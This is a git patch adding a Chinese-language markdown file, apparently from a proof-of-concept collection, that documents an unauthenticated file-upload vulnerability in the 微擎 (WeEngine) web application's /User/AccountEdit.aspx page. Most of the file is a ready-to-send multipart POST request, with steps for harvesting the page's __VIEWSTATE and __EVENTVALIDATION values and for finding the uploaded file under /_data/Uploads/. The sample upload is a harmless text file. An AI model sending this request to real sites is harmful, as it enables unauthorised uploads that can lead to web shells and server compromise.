From fce8a83115acca32ae084fdf46720f74a3bbbf6b Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Mon, 13 May 2024 19:11:47 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E5=BE=AE=E6=93=8E-AccountEdit-file-up?=
 =?UTF-8?q?load=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 微擎-AccountEdit-file-upload文件上传漏洞.md | 41 +++++++++++++++++++++
 1 file changed, 41 insertions(+)
 create mode 100644 微擎-AccountEdit-file-upload文件上传漏洞.md

diff --git a/微擎-AccountEdit-file-upload文件上传漏洞.md b/微擎-AccountEdit-file-upload文件上传漏洞.md
new file mode 100644
index 0000000..2a40b26
--- /dev/null
+++ b/微擎-AccountEdit-file-upload文件上传漏洞.md
@@ -0,0 +1,41 @@
+## 微擎-AccountEdit-file-upload文件上传漏洞
+
+
+1、访问/User/AccountEdit.aspx，查看源代码，搜索__VIEWSTATE" value=" 和__EVENTVALIDATION" value="这两个字符串，记录下来
+## poc
+```
+POST /User/AccountEdit.aspx HTTP/1.1
+Host:
+User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
+Accept-Encoding: gzip, deflate, br
+Content-Type: multipart/form-data;boundary=---------------------------8448979704593935221298734076
+
+-----------------------------8448979704593935221298734076
+Content-Disposition: form-data; name="__VIEWSTATE"
+
+{VIEWSTATE}
+-----------------------------8448979704593935221298734076
+Content-Disposition: form-data; name="__EVENTVALIDATION"
+
+{EVENTVALIDATION}
+-----------------------------8448979704593935221298734076
+Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="111.txt"
+Content-Type: text/plain
+
+1233311
+-----------------------------8448979704593935221298734076
+Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
+
+上传图片
+-----------------------------8448979704593935221298734076
+Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
+
+
+-----------------------------8448979704593935221298734076
+Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
+
+
+-----------------------------8448979704593935221298734076--
+```
+
+文件路径在第2步的响应里面搜索字符_data/Uploads/  即可找到，然后直接url+/_data/Uploads/{filepath}访问即可。